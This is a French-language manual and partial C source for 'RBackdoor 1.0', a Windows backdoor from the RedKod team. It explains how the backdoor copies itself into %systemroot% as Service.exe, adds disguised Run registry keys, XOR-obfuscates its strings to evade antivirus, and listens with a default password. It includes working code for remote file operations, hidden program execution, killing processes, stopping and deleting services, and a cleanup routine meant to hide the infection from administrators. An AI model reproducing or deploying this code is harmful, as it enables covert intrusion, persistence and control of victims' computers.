/*
______ ______               _         _                      
| ___ \| ___ \             | |       | |                     
| |_/ /| |_/ /  __ _   ___ | | __  __| |  ___    ___   _ __  
|    / | ___ \ / _` | / __|| |/ / / _` | / _ \  / _ \ | '__| 
| |\ \ | |_/ /| (_| || (__ |   < | (_| || (_) || (_) || |    
\_| \_|\____/  \__,_| \___||_|\_\ \__,_| \___/  \___/ |_|    
                                                             
                   - Version 1.0 - 
				     RedKod Team 
				    www.redkod.com 
Coder: R-e-D 
Mail : r-e-d@redkod.com 
*/

-------------------------- [Introduction] --------------------------

Voila RBackdoor 1.0 est sortie, mais mettez vous bien en tête que cette
Version de RBackdoor reste une version en constante période de tests et d'évolution, 
Donc ne me harcelez pas avec des critiques mal placées :) mais toutefois les conseils
Et rapports de bugs honnêtes seront accueillis à bras ouverts. Merci.

--------------------------------------------------------------------

---------------------------- [Sommaire] ----------------------------

* 0x01  Présentation de RBackdoor et de son impact sur le système cible.
* 0x02  Etude du fonctionnement de RBackdoor.
          -> Implémentation.
          -> Commandes.
* 0x03  Conclusion.
* 0x04  Greetings.

--------------------------------------------------------------------

---------------------------------------------------------------------
=> 0x01  Présentation de RBackdoor et de son impact sur le système cible.
---------------------------------------------------------------------

  Tout d'abord, RBackdoor est un outil vous permettant d'effectuer
Diverses actions à distance sur un système cible, dans les fonctions
Les plus originales nous pouvons révéler la possibilité d'envoyer des
Mails à distance, gérer les services, gérer l'eventlog, ou encore obtenir
un vrai Remote DOS Shell sans pour autant remettre un port en mode listen
ce qui ne serait pas assez Discret.

  - RBackdoor est fait pour être implémentée sur des NT-Like. (NT4, Win2k, XP)
  - Elle n'est pas compatible avec les systèmes Windows 95, 98, Me, Etc (Pour l'instant).
  - RBackdoor est accessible avec tout client TCP comme netcat, telnet ou autre.

  ATTENTION! Ne pas utiliser le telnet de Windows qui ajoute a chaque octet envoyés
  la séquence "\r\n" ce qui n'est pas supporte par la backdoor. Le telnet de Linux
  Marche sans problème, mais je conseils Netcat.

  Netcat url: http://content.443.ch/pub/security/blackhat/Exploits/NT/NetcatNT.zip

  Maintenant, nous allons étudier comment RBackdoor s'impose face au système cible :

  1) Copie d'elle même dans le %systemroot% de la cible.
  2) Création de clés registre permettant d'activer la backdoor à chaque
     Démarrage ou a chaque logon d'un user sur le système cible.
  4) La Backdoor se met en écoute sur le port demandé et attend un client.

 - Détail: Toutes les clés et chaîne de caractères pour la version, etc. de RBackdoor
           Sont cryptées pour permettre une certaine 'furtivité' au niveau des antivirus.

---------------------------------------------------------------------
=> 0x02  Etude du fonctionnement de RBackdoor.
---------------------------------------------------------------------

  -> Implémentation.

  # Comment exécuter RBackoor? ...Rien de plus simple :
    => RBackdoor.exe <port> <password>

  <Port> : Port ou la backdoor va se mettre en attente de connexion, en
           Mode listen.

  <Password>: Password qui sera demande à chaque connexion cliente à la Backdoor et
              Qui permettra de ne pas se faire 'voler' la Backdoor ou encore la cible :)

  - Remarque : Si aucun port ou password n’est défini à l'exécution, la backdoor utilisera
               Le port 4820 et le pass 'redkod' pour effectuer à bien sa tâche.

  Remarque: Les password incluant des majuscules et des espaces ne sont pas supportés.

  # Comment se connecter sur RBackdoor?
   => Avec Netcat : nc <ip> <port>
   => Avec Telnet : telnet <ip> <port>
    Ensuite:

   ===========================================================
   =                   RedKod Backdoor 1.0                   =
   =                        By R-e-D                         =
   =                  http://www.redkod.com                  =
   =                     r-e-d@redkod.com                    =
   ===========================================================


   Password: redkod

   => Ici vous entrez le password définis à l'exécution.

     => Connection effectuée: root@redkod.com:

 Maintenant que vous étes connecté et prêt à utiliser la backdoor, nous allons étudier les diverses
 Commandes qui font la richesses et l'originalité de RBackdoor.

  -> Commandes.
   - 1) Les commandes de bases: shell.
   - 2) Les commandes d'execution ou de gestion de processus et de services.
   - 3) Les commandes permettant d'administrer RBACKDOOR.
   - 4) Les commandes d'obtention de Shell interactif.
   - 5) Les commandes de prise d'empreintes.
   - 6) Les commandes de lecture et d'écriture de fichiers.
   - 7) Les commandes permettant d'agir directement sur le comportement ou la configuration de la machine distante.
   - 8) Les utilitaires de RBackdoor.


/////////////////////////////////////////////////////////////////////
  1) Les commandes de bases: shell.
/////////////////////////////////////////////////////////////////////

 => Commandes étudiées dans cette section:

/*
DIR         Permet de lister le contenu d'un répertoire
LS          Permet de lister le contenu d'un répertoire
CD          Permet de changer de répertoire courant
DEL         Permet d'effacer un ou plusieurs fichiers
FIND        Recherche un fichier a travers le path
RMDIR       Permet d'effacer un répertoire  
COPY        Permet de copier un fichier
MD          Permet de créer un répertoire
MOVE        Permet de déplacer un fichier ou un répertoire
REN         Permet de renommer un fichier
PWD         Permet de récupérer le répertoire courant
TIME        Affiche l'heure et la date du système distant
CLEAR       Efface le buffer de la console
HELP        Affiche l'aide
*/               
             
                                  -------------- |     DIR OR LS     | --------------

Ces commandes permettent de lister les fichiers et les répertoires présents dans le répertoire courant.
Bien sure, il est possible de leurs passer un paramètre pour lister les éléments d'autres répertoires.

Command: dir <path> 

 -> Exemple:
 
RBackdoor# dir

        Repertoire de : c:\

<REP>   Audit
        0       AUTOEXEC.BAT
        195     boot.ini
        4952    Bootfont.bin
        0       CONFIG.SYS
<REP>   Documents and Settings
        0       IO.SYS
        0       MSDOS.SYS
<REP>   mssdk
        45124   NTDETECT.COM
        224048  ntldr
<REP>   NTReskit
        402653184       pagefile.sys
<REP>   Program Files
<REP>   RECYCLER
<REP>   System Volume Information
<REP>   WINDOWS
                 9 Fichier(s)
                 8 Rep(s)
RBackdoor#
 
       
=> Code.

void Proc_Dir(LPCTSTR file)
{
    WIN32_FIND_DATA wData;
    char nom[MAX_PATH], *buf, *path;
    HANDLE listing;
    int r=0, f=0;

    buf = (char *)GlobalAlloc(GPTR, 256);
    path = (char *)GlobalAlloc(GPTR, 256);
    if(strlen(file)>2)
      sprintf(buf, "\n\tRepertoire de : %s\n\n", file);
	else {
	_getcwd(path, 256);
	sprintf(buf, "\n\tRepertoire de : %s\n\n", path);
	}
    rsend(ConnectSocket, buf);
    GlobalFree(path);
    strcat(arg[1], "*.*");
    listing = FindFirstFile(file, &wData);
    while((FindNextFile(listing, &wData)))
    {
        strcpy(nom, wData.cFileName);
        if(wData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
	rsend(ConnectSocket, "<REP>");
	r++;
    }
    else  {
        sprintf(buf, "\t%d", wData.nFileSizeHigh*MAXDWORD+wData.nFileSizeLow); 
	rsend(ConnectSocket, buf);
	f++;
	}        
	rsend(ConnectSocket, "\t");
        rsend(ConnectSocket, nom);
	rsend(ConnectSocket, "\n");
    }
	sprintf(buf, "\t\t %d Fichier(s) \n\t\t %d Rep(s)", f, r);
	rsend(ConnectSocket, buf);
	GlobalFree(buf);
}

--------------------------------------------------------------------- 

                                  -------------- |     CD     | --------------

Cette commande permet de changer de répertoire courant.

Command: cd <path> 

=> Code.

chdir(buffer); // Et oui seulement ça :)

--------------------------------------------------------------------- 

                                 -------------- |     DEL     | --------------

Cette commande permet de d'effacer un ou plusieurs fichiers.

Command: del <file> 

  -> Exemple:
     RBackdoor# del test
     msg: Fichier efface avec succès

=> Code.

int Proc_DeleteFile(char *file)
{
	unsigned int err;
	
	if(strlen(file) < 1) {
		rsend(ConnectSocket, "msg: del <file>");
		return(-1);
	}
        err = DeleteFile(file);
	if(err==0)
	{
		 rsend(ConnectSocket, "Error: Erreur lors de la tentative de suppression du fichier\n");
		 return(-1);
	}
	else rsend(ConnectSocket, "msg: Fichier efface avec succes\n");
	return(0);
}

--------------------------------------------------------------------- 
                                
                                 -------------- |     FIND     | --------------
                                 
Cette commande permet de rechercher un fichier à travers le path courant.

Command: find <file>

  -> Exemple:
    RBackdoor# cd c:\windows
    RBackdoor# find notepad.exe
    Fichier trouve : notepad.exe

=> Code.

int Find(char *file)
{
WIN32_FIND_DATA FileInfo;
HANDLE hFind;
 
if(strlen(file) < 1) {
	rsend(ConnectSocket, "msg: find <file>");
	return(-1);
 }
hFind = FindFirstFile(file, &FileInfo) ;
if (hFind == INVALID_HANDLE_VALUE ) {
rsend(ConnectSocket, "Fichier non existant");
}
else {
rsend(ConnectSocket, "Fichier trouve : ");
rsend(ConnectSocket, file);
FindClose (hFind);
}

return(0);
}

                                 -------------- |     RMDIR     | --------------

Cette commande permet de d'effacer un répertoire.
Il faut bien retenir que ce répertoire se doit d'être vide avant la tentative de 
Suppression sinon celle-ci échouera.

Command: rmdir <répertoire>

  -> Exemple:
     RBackdoor# rmdir test
     msg: Répertoire efface avec succès
     
=> Code.

int Proc_RemoveDir(char *dir)
{
	unsigned int err;

	if(strlen(dir) < 1) {
		rsend(ConnectSocket, "msg: rmdir <folder>");
		return(-1);
	}
	err = RemoveDirectory(dir);
	if(err==0)
	{
	     rsend(ConnectSocket, "Error: Erreur lors de la tentative de suppression du repertoire\n");
		 return(-1);
	}
	else rsend(ConnectSocket, "msg: Repertoire efface avec succes\n");
	return(0);
}

--------------------------------------------------------------------- 

                                 -------------- |     COPY     | --------------

Cette commande permet de copier un fichier sur un autre emplacement.

Command: copy <source> <destination>

  -> Exemple:
     RBackdoor# copy boot.ini boot.ini.bak
     msg: Fichier copie avec succès

=> Code.

int Proc_Copy(char *src, char *dest)
{
	unsigned int err;

	if(strlen(src) < 1 || strlen(dest) < 1) {
		rsend(ConnectSocket, "msg: copy <src> <dest>");
		return(-1);
	}
	err = CopyFile(src, dest, FALSE);
	if(err==0) 
	{
	rsend(ConnectSocket, "Error: Erreur lors de la tentative de copie du fichier\n");
        return(-1);
	}
	else rsend(ConnectSocket, "msg: Fichier copie avec succes\n");
    return(0);
}

--------------------------------------------------------------------- 

                                 -------------- |     MD     | --------------

Cette commande permet de créer un repertoire.

Command: md <repertoire>

  -> Exemple:
     RBackdoor# md test
     msg: Repertoire creer avec succes

=> Code.

int Proc_CreateDir(char *dir)
{
	unsigned int err;
	
	if(strlen(dir) < 1) {
		rsend(ConnectSocket, "msg: md <folder>");
		return(-1);
	}
	err = CreateDirectory(dir, NULL);
	if(err==0)
	{
		rsend(ConnectSocket, "Error: Erreur lors de la tentative de creation du repertoire\n");
		return(-1);
	}
	else rsend(ConnectSocket, "msg: Repertoire creer avec succes\n");
	return(0);
}

--------------------------------------------------------------------- 
                            
                                 -------------- |     MOVE     | --------------

Cette commande permet de deplacer un fichier ou un repertoire.

Command: move <source> <destination>

  -> Exemple:
     RBackdoor# move test redkod
     msg: Fichier deplace avec succes

=> Code.

int Proc_MoveFile(char *src, char *dest)
{
	unsigned int err;
	
	if(strlen(src) < 1 || strlen(dest) < 1) {
		rsend(ConnectSocket, "msg: move <src> <dest>");
		return(-1);
	}
	err = MoveFile(src, dest);
	if(err==0)
	{
		rsend(ConnectSocket, "Error: Erreur lors de la tentative de deplacement du fichier\n");
		return(-1);
	}
	else rsend(ConnectSocket, "msg: Fichier deplace avec succes\n");
	return(0);
}

--------------------------------------------------------------------- 

                                 -------------- |    REN     | --------------

Cette commande permet de renommer un ou plusieurs fichiers.

Command: ren <oldfile> <newfile>

  -> Exemple:
     RBackdoor# ren boot.ini.bak redkod.ini
     msg: Fichier renomme avec succes

=> Code.

int Proc_RenameFile(char *oldname, char *newname)
{
   unsigned int err;
   
   if(strlen(oldname) < 1 || strlen(newname) < 1) {
		rsend(ConnectSocket, "msg: ren <src> <dest>");
		return(-1);
   }
   err = rename(oldname, newname);
   if(err != 0)
   {
	   rsend(ConnectSocket, "Error: Erreur lors de la tentative de renommage du fichier\n");
	   return(-1);
   }
   else rsend(ConnectSocket, "msg: Fichier renomme avec succes\n");
   return(0);
}

--------------------------------------------------------------------- 
                                
                                 -------------- |    PWD     | --------------

Cette commande permet de recuperer et d'afficher le repertoire courant.

Command: pwd

  -> Exemple:
     RBackdoor# pwd
     c:\

=> Code.

int pwd(void)
{
	char *buffer;

	buffer = (char *)GlobalAlloc(GPTR, 1024);

	if(_getcwd(buffer, 1024)==NULL)
	{
		rsend(ConnectSocket, "Error: Erreur lors de la recuperation du repertoire courant\n");
		return(-1);
	}
	else rsend(ConnectSocket, buffer);
	rsend(ConnectSocket, "\n");
	GlobalFree(buffer);
	return(0);
}

--------------------------------------------------------------------- 

                                 -------------- |    TIME     | --------------

Cette commande permet de recuperer l'heure et la date courante sur le système cible.

Command: time

  -> Exemple:
     RBackdoor# time
     Sun Apr 28 22:41:47 2002

=> Code.

int Proc_Time()
{
    time_t t;
    time(&t) ;
    rsend(ConnectSocket, ctime(&t));
    return(0);
}

--------------------------------------------------------------------- 


                                 -------------- |    CLEAR     | --------------

Cette commande permet d'effacer le buffer courant de la console, ce qui permet de garder
une certaine surete auprès des curieux. :)

Command: clear

=> Code.

int Proc_Clear()
{
  int i;
  for(i=0; i<50; i++) rsend(ConnectSocket, "\n");
  return(0);
}

--------------------------------------------------------------------- 

                                 -------------- |    HELP     | --------------

Cette commande permet d'afficher l'aide globale de la backdoor.

Command: help           [pour afficher toutes les commandes possibles]
         help <command> [pour avoir une aide detaillée sur la commande précisée]
         
  -> Exemple:
     RBackdoor# help dir
     DIR     : Permet de lister le contenu d'un repertoire
     Command : dir <repertoire>

=> Code.

Very long code, look at help.c .

--------------------------------------------------------------------- 

/////////////////////////////////////////////////////////////////////
 2) Les commandes d'execution ou de gestion de processus et de services.
/////////////////////////////////////////////////////////////////////
 
  => Commandes etudiées dans cette section:
/*
EXEC        Permet d'executer une commande sur le systeme cible
HEXEC       Permet d'executer une commande tout en cachant la sortie
GETPROCESS  Recupere et affiche la liste des processus actifs
GETSERVICES Permet d'afficher les services NT presents sur une machine local ou distante
KILLPROCESS Permet de killer un processus
STARTSERVICE Permet de demarrer un servive present sur la machine serveur
STOPSERVICE Permet de stopper un service present et demarrer
DELSERVICE  Permet de supprimer un service present
*/               

 Dans cette section nous etudierons les commandes permettant de gérer les processus
 et ceci à notre insu. RBackdoor petmet d'executer n'importe quel programme à distance,
 recuperer la liste des processsus actifs sur la machine distante ou encore tuer un 
 processus voulut !
 
                                  -------------- |     EXEC     | --------------

Cette commande permet d'exécuter un programme sur la machine distante et afficher la sortie.
C'est à dire par exemple, si vous lancez Notepad, celui-ci s'exécutera et s'affichera sur
Le moniteur de cette machine, ce qui n'est pas très discret mais peut, très bien être utile.

Command: exec <command>

  -> Exemple:
     RBackdoor# exec notepad
     msg: Execution effectuee avec succes

=> Code.

int Proc_Execute(char *command)
{
	unsigned int err;
	char *buffer;
	
	buffer=(char *)GlobalAlloc(GPTR,1024);
    
	if(strlen(command) < 1) {
		rsend(ConnectSocket, "msg: exec <command>");
		return(-1);
	}
	if(strchr(command, ' ')) {
        buffer = (char *)strchr(command, ' ')+1;
        err = WinExec(buffer, SW_SHOW);
	if(err<31) rsend(ConnectSocket, "Error: Erreur lors de la tentative d'execution : \n");
        else rsend(ConnectSocket, "msg: Execution effectuee avec succes\n");
	}
	else {
        rsend(ConnectSocket, "Command: exec <command>\n");
        return(-1);
	}
	GlobalFree(buffer);
	return(0);
}

--------------------------------------------------------------------- 

                                  -------------- |     HEXEC     | --------------

Encore une fois cette commande permet d'executer un programme sur la machine distante MAIS
une chose est différente grâce à cette commande vous allez pouvoir éxecuter celui-ci
tout en le cachant. Sa seul présence visuelle au niveau du système sera dans la liste des
processus.

Command: hexec <command>

  -> Exemple:
     RBackdoor# hexec notepad
     msg: Execution en mode hide effectuee avec succes

=> Code.

int Proc_ExecuteHide(char *command)
{
	unsigned int err;
	char *buffer;
	
	buffer=(char *)GlobalAlloc(GPTR,1024);

	if(strlen(command) < 1) {
		rsend(ConnectSocket, "msg: hexec <command>");
		return(-1);
	}
	if(strchr(command, ' ')) {
        buffer = (char *)strchr(command, ' ')+1;
        err = WinExec(buffer, SW_HIDE);
       if(err<31) rsend(ConnectSocket, "Error: Erreur lors de la tentative d'execution\n");
        else rsend(ConnectSocket, "msg: Execution en mode hide effectuee avec succes\n");
	}
	else {
        rsend(ConnectSocket, "Command: hexec <command>\n");
        return(-1);
	}
	GlobalFree(buffer);
	return(0);
}

--------------------------------------------------------------------- 

                                  -------------- |     GETPROCESS     | --------------

Cette commande est très utile elle permet de récuperer la liste des processus actifs sur la 
machine distante, et surtout de récuperer leur PID (Process ID) pour ensuite l'utiliser lors 
de la tentative de fermeture de ces processus. 

Command: getprocess

  -> Exemple:
     RBackdoor# getprocess
     unknown (Process ID: 0)
     unknown (Process ID: 4)
     smss.exe (Process ID: 340)
     unknown (Process ID: 388)
     winlogon.exe (Process ID: 416)
     services.exe (Process ID: 460)
     lsass.exe (Process ID: 472)
     svchost.exe (Process ID: 644)
     svchost.exe (Process ID: 676)
     unknown (Process ID: 784)
     etc...

=> Code.


void PrintProcessNameAndID(DWORD processID)
{
    char *buffer;
    HANDLE hProcess;
    HMODULE hMod;
    DWORD cbNeeded;
    char szProcessName[MAX_PATH] = "unknown";
 
    buffer=(char *)GlobalAlloc(GPTR,1024);

    hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );

    if (hProcess)
    {
        if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
        {
            GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName) );
        }
    }
    sprintf(buffer, "%s (Process ID: %u)\n", szProcessName, processID );
    rsend(ConnectSocket, buffer);
    CloseHandle( hProcess );
    GlobalFree(buffer);
}

void Proc_GetProcess(void)
{
    DWORD aProcesses[1024], cbNeeded, cProcesses;
    unsigned int i;
    
    if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )
    return;
    cProcesses = cbNeeded / sizeof(DWORD);
    for ( i = 0; i < cProcesses; i++ )
    PrintProcessNameAndID( aProcesses[i] );
}

--------------------------------------------------------------------- 

                                -------------- |     GETSERVICES     | --------------

La commande GETSERVICES va permettre de savoir quels services sont lancés ou desactivés sur la machine distante.

Command  : getservices <host> <type of service>

          <type of service> : '1' for list Win32 Services
                              '2' for list Win32 Drivers Services

  -> Exemple:
     RBackdoor# getservices \\REDKOD 1

    --------------------------------------------------------------
       Display Name    |      Service Name      |     Status
    --------------------------------------------------------------
     > DISPLAY NAME : Avertissement > NAME : Alerter > STATUS : Not running
    -------------------------------------------------------------- 
     > DISPLAY NAME : Service de la passerelle de la couche Application > NAME : ALG    > STATUS : Not running  
    --------------------------------------------------------------
     > DISPLAY NAME : Gestion d'applications > NAME : AppMgmt > STATUS : Not running
   --------------------------------------------------------------
    > DISPLAY NAME : Audio Windows > NAME : AudioSrv > STATUS : Running
   --------------------------------------------------------------
    > DISPLAY NAME : Service de transfert intelligent en arriÞre-plan > NAME : BITS > STATUS : Not running    
   --------------------------------------------------------------
    > DISPLAY NAME : Explorateur d'ordinateur > NAME : Browser > STATUS : Running
   --------------------------------------------------------------
    > DISPLAY NAME : Service d'indexation > NAME : cisvc > STATUS : Not running
   --------------------------------------------------------------
    > DISPLAY NAME : Gestionnaire de l'Album > NAME : ClipSrv > STATUS : Not running
   --------------------------------------------------------------

=> Code.

  Too long, look at Services.c in RBackdoor Project.

--------------------------------------------------------------------- 

                                -------------- |     KILLPROCESS     | --------------

KILLPROCESS permet de tuer le processus identifié par son PID fourni en argument lors de son
éxecution. 

Command: killprocess <pid>

  -> Exemple:
     RBackdoor# killprocess 1480
     msg: Processus kille avec succes

=> Code.

int Proc_KillProcess(char *arg)
{
	unsigned int err;
	HANDLE process;
	DWORD PID;

	if(strlen(arg)<1) {
		rsend(ConnectSocket, "msg: killprocess <pid>");
		return(-1);
	}
	PID = strtoul(arg, NULL, 0);
	process = OpenProcess(PROCESS_TERMINATE, 0, PID);
	if(process==NULL) rsend(ConnectSocket, "Error: Erreur lors de la tentative d'ouverture du processus\n");
	else {	
	err = TerminateProcess(process, (unsigned)-1);
	if(err==0)	rsend(ConnectSocket, "Error: Erreur lors de la tentative de l'arret du processus\n");
	else rsend(ConnectSocket, "msg: Processus tue avec succes\n");
	}
	return(0);
}

--------------------------------------------------------------------- 

                               -------------- |     STARTSERVICE     | --------------

STARTSERVICE permet de démarrer un service inactif.

Command: startservice <host> <service name>

  -> Exemple:
   RBackdoor# startservice \\REDKOD lanmanserver
   msg: Service start pending.
   msg: Service demarre avec succes

=> Code.

  Too long, look at Services.c in RBackdoor Project.

--------------------------------------------------------------------- 

                               -------------- |     STOPSERVICE     | --------------

STOPSERVICE permet de stopper un service actif.

Command: stopservice <host> <service name>

  -> Exemple:
   RBackdoor# stopservice \\REDKOD lanmanserver
   Service arrete avec succes.
   Current State: 3
   Exit Code: 0
   Service Specific Exit Code: 0
   Check Point: 1
   Wait Hint: 20000

=> Code.

int RStopService(char *host, char *ServiceName)
{
	SC_HANDLE schService=NULL, schSCManager;
	SERVICE_STATUS ssStatus;
	char *buffer;
	
	if(strlen(host) < 1 || strlen(ServiceName) < 1)
	{
		Proc_help("stopservice");
		return(-1);
	}
	
	schSCManager = OpenSCManager(host, NULL, SC_MANAGER_ALL_ACCESS);
	schService = OpenService(schSCManager, ServiceName, SERVICE_STOP);
	if (schService == NULL) {
		rsend(ConnectSocket, "Error: Erreur lors de l'ouverture du service.\n");
		return(-1);
	}
	
	if (!ControlService(schService, SERVICE_CONTROL_STOP, &ssStatus))
	{
		rsend(ConnectSocket, "Error: Erreur lors de la tentative d'arret du service. (Le service est probablement deja arrete)\n");
		return(-1);
	}
	
	buffer = (char *)GlobalAlloc(GPTR, 1024);
	sprintf(buffer, "Service arrete avec succes.\n");
	sprintf(buffer, "%sCurrent State: %d\n",buffer, ssStatus.dwCurrentState);
	sprintf(buffer, "%sExit Code: %d\n",buffer, ssStatus.dwWin32ExitCode);
	sprintf(buffer, "%sService Specific Exit Code: %d\n",buffer, ssStatus.dwServiceSpecificExitCode);
	sprintf(buffer, "%sCheck Point: %d\n",buffer, ssStatus.dwCheckPoint);
	sprintf(buffer, "%sWait Hint: %d\n", buffer, ssStatus.dwWaitHint);
	rsend(ConnectSocket, buffer);
	GlobalFree(buffer);
	
	return(0);
}

--------------------------------------------------------------------- 

                              -------------- |     DELSERVICE     | --------------

DELSERVICE permet d'effacer un service présent.

Command: delservice <host> <service name>

  -> Exemple:
   RBackdoor# delservice \\REDKOD XService
   Service efface avec succes.

=> Code.

int RDeleteService(char *host, char *ServiceName)
{
	SC_HANDLE schService=NULL, schSCManager;
	
	if(strlen(host) < 1 || strlen(ServiceName) < 1)
	{
		Proc_help("delservice");
		return(-1);
	}
	
	schSCManager = OpenSCManager(host, NULL, SC_MANAGER_ALL_ACCESS);
	schService = OpenService(schSCManager, ServiceName, DELETE);
	if (schService == NULL) {
		rsend(ConnectSocket, "Error: Erreur lors de l'ouverture du service.\n");
		return(-1);
	}
	
	if (!DeleteService(schService)) {
		rsend(ConnectSocket, "Error: Erreur lors de la tentative de suppresion du service\n");
		return(-1);
	}
	else rsend(ConnectSocket, "Service efface avec succes.\n");
	
	CloseServiceHandle(schService);
	return(0);
}

--------------------------------------------------------------------- 

  

/////////////////////////////////////////////////////////////////////
 3) Les commandes permettant d'administrer RBACKDOOR.
/////////////////////////////////////////////////////////////////////

  => Commandes etudiées dans cette section:
/*
EXIT        Permet de fermer la connection à la backdoor tout en laissant la backdoor active
KILL        Permet de desactiver ou de reactiver la backdoor
OPEN        Creer un nouveau processus de RedBackdoor sur un autre port
RPATCH      Permet de patcher le systeme pour effacer rbackdoor
SETPASS     Permet de modifier le pass associé a la backdoor
VERSION     Affiche la version de RedBackDoor
*/


                                  -------------- |     EXIT     | --------------

La commande EXIT permet de se déconnecter de la backdoor proprement tout en laissant active celle-ci.

Command: exit

  -> Exemple:
     RBackdoor# exit
     msg: Fin de la connection, Bye..

=> Code.

int Proc_Exit(void)
{
	rsend(ConnectSocket, "msg: Fin de la connection, Bye..");
	closesocket(ConnectSocket);
	Authentification();
	return(0);
}

--------------------------------------------------------------------- 

                                -------------- |     KILL     | --------------

Attention cette commande est à la fois très utile et très dangereuse si on ne l'a connaît pas.
Elle permet soit de tuer complètement le processus de la backdoor ou encore de réactiver la backdoor
Sur un autre port tout en fermant le port précédemment utilisé par la backdoor.

Command: kill <flag> <port>
 
<flag> : - 0 Pour killer complètement le processus de la backdoor.
         - 1 Pour reactiver la backdoor sur un autre port en tuant l'ancien processus de celle-ci.
         
<port> : Port sur lequel vous voulez réactiver la backdoor, option valable qu'avec le flag 1.

  -> Exemple:
  
     # POUR TUER LA BACKDOOR #
     RBackdoor# kill 0
     msg: Fin de la connection et desactivation de RedBackdoor, Bye..
     Ou encore:
     RBackdoor# kill
     msg: Fin de la connection et desactivation de RedBackdoor, Bye..
     
     # REACTIVER LA BACKDOOR SUR UN AUTRE PORT TOUT EN KILLANT L'ANCIEN PROCESSUS DE LA BACKDOOR#
     RBackdoor# kill 1 100
     msg: Fin de la connection et reactivation de RedBackdoor au port demande, Bye..

     C:\>nc 127.0.0.1 100
     /-----------------------------------\
     | RedBackDoor Version 1.0 By R-e-D  |
     \-----------------------------------/

     
     Password: redkod
     RBackdoor#

=> Code.

int Proc_Kill(int flag, int port)
{
	if(flag == 0 || flag == 1)
	{	
	switch(flag)
	{
	case 0: 
		rsend(ConnectSocket, "msg: Fin de la connection et desactivation de RedBackdoor, Bye..\n");
		closesocket(ConnectSocket);
		closesocket(ServerSocket);
		WSACleanup();
		ExitProcess(0);
		break;
	case 1:
		rsend(ConnectSocket, "msg: Fin de la connection et reactivation de RedBackdoor au port demande, Bye..\n");
		closesocket(ConnectSocket);
		closesocket(ServerSocket);
		WSACleanup();
		Sleep(500);
		Bind_Sock(port);
		Sleep(500);
     	        Authentification();
		break;
	case 2:
		closesocket(ConnectSocket);
		closesocket(ServerSocket);
		WSACleanup();
		Sleep(500);
		Bind_Sock(port);
		Sleep(500);
     	        Authentification();
		break;
	default: 
		rsend(ConnectSocket, "Command : kill <flag> <port>\n");
		break;
	}
	}
	else rsend(ConnectSocket, "Command : kill <flag> <port>\n");

	return(0);
}

--------------------------------------------------------------------- 

                                  -------------- |     OPEN     | --------------

Cette commande permet de créer un nouveau processus de la backdoor, ce qui permet d'utiliser plusieurs 
Shell de RBackdoor à la fois ou encore d'inviter un ami à s'amuser avec vous :)

 ATTENTION, pour créer un nouveau processus de la backdoor cette commande se sert de la copie de RBackdoor
 Créer à l'exécution de celle-ci, donc si cette copie n'est plus présente, la commande OPEN ne marchera pas.

Command: open <port>

  -> Exemple:
    RBackdoor# open 150
    msg: Nouveau processus de RedBackdoor cree avec succes sur le port 150..

=> Code.

int Proc_ReBind(int port)
{   
	char *path, *command;

	path = GlobalAlloc(GPTR, 1024);
	command = GlobalAlloc(GPTR, 1024);

	GetWindowsDirectory(path,255);
	sprintf(command, "%s\\Service.exe %i", path, port);
	WinExec(command, SW_HIDE);

	GlobalFree(path);
	GlobalFree(command);
	return(0);
}

int ReOpen(int port)
{
char *buffer;
DWORD dwRet;
HANDLE hThread[1];

if(strlen(arg[1])<1) {
    rsend(ConnectSocket, "Error: Veuillez preciser un port svp.\nCommand: open <port>\n");
	return(0);
}

if(port>65535) {
	rsend(ConnectSocket, "Error: Le port entre est trop grand, veuillez entrer un port inferieur a 65535\n");
	return(0);
}

hThread[0] = NULL;
hThread[0] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE) Proc_ReBind,(LPVOID)port,0,&dwRet);
if(hThread[0] == NULL)
{
	rsend(ConnectSocket, "Error: Erreur lors de la tentative de creation d'un nouveau processus de RBackdoor\n");
	return(-1);
}
else {
	 buffer = GlobalAlloc(GPTR, 512);
	 sprintf(buffer, "msg: Nouveau processus de RBackdoor cree avec succes sur le port %i\n", port);
	 rsend(ConnectSocket, buffer);
	 GlobalFree(buffer);
}
return(0);
}

                                  -------------- |     RPATCH     | --------------

Cette commande va permettre de nettoyer le système de l'infection effectué par rbackdoor à son démarrage, cela peut etre utile lors
d'un eventuel soupçon de la part de l'administrateur.

Command: rpatch

  -> Exemple:
     RBackdoor# rpatch
     Suppresion des cles registres crees a l'execution de la backdoor....
     Suppresion de la copie cree par la backdoor.... (%systemroot%\Service.exe)
     --------------------
     - System as Clean! -
     --------------------

=> Code.

int rpatch(void)
{
   unsigned int err;
   char *systempath;
   char version[]={ 0x52,0x4e,0x47,0x55,0x56,0x40,0x53,0x44,0x7d,0x4c,0x48,0x42,0x53,0x4e,
		    0x52,0x4e,0x47,0x55,0x7d,0x56,0x48,0x4f,0x45,0x4e,0x56,0x52,0x7d,0x42,
		    0x54,0x53,0x53,0x44,0x4f,0x55,0x57,0x44,0x53,0x52,0x48,0x4e,0x4f,0x7d,
		    0x53,0x54,0x4f,0x7d,0x00 };  

   char key[] =   { 0x72,0x4E,0x47,0x55,0x56,0x40,0x53,0x44,0x7D,0x73,0x44,0x45,0x6A,0x4E,0x45,0x63, 0x00 }; 
   HKEY hkey;
 
   for(err=0; err < strlen(version); err++)
   version[err]^=0x21;
   for(err=0;err<strlen(key);err++)
   key[err]^=0x21;
	
   systempath = (char *)GlobalAlloc(GPTR, 256);
	
   rsend(ConnectSocket, "Suppresion des cles registres crees a l'execution de la backdoor....\n");
   /* Clean all registry keys */
   RegOpenKeyEx(HKEY_LOCAL_MACHINE,version,(DWORD)NULL,KEY_ALL_ACCESS,&hkey); 
   RegDeleteValue(hkey,"MSkernel32");
   RegCloseKey(hkey);			
   RegOpenKeyEx(HKEY_CURRENT_USER,version,(DWORD)NULL,KEY_ALL_ACCESS,&hkey); 
   RegDeleteValue(hkey,"MSkernel32");
   RegCloseKey(hkey);	
   RegDeleteKey(HKEY_LOCAL_MACHINE, key);
   RegDeleteKey(HKEY_CURRENT_USER, key);
   Sleep(1000);
   rsend(ConnectSocket, "Suppresion de la copie cree par la backdoor.... (""%systemroot%\\Service.exe"")\n"); 
   /* Erase %WindowsPath%\Service.exe */
   GetWindowsDirectory(systempath,255);
   strcat(systempath, "\\");
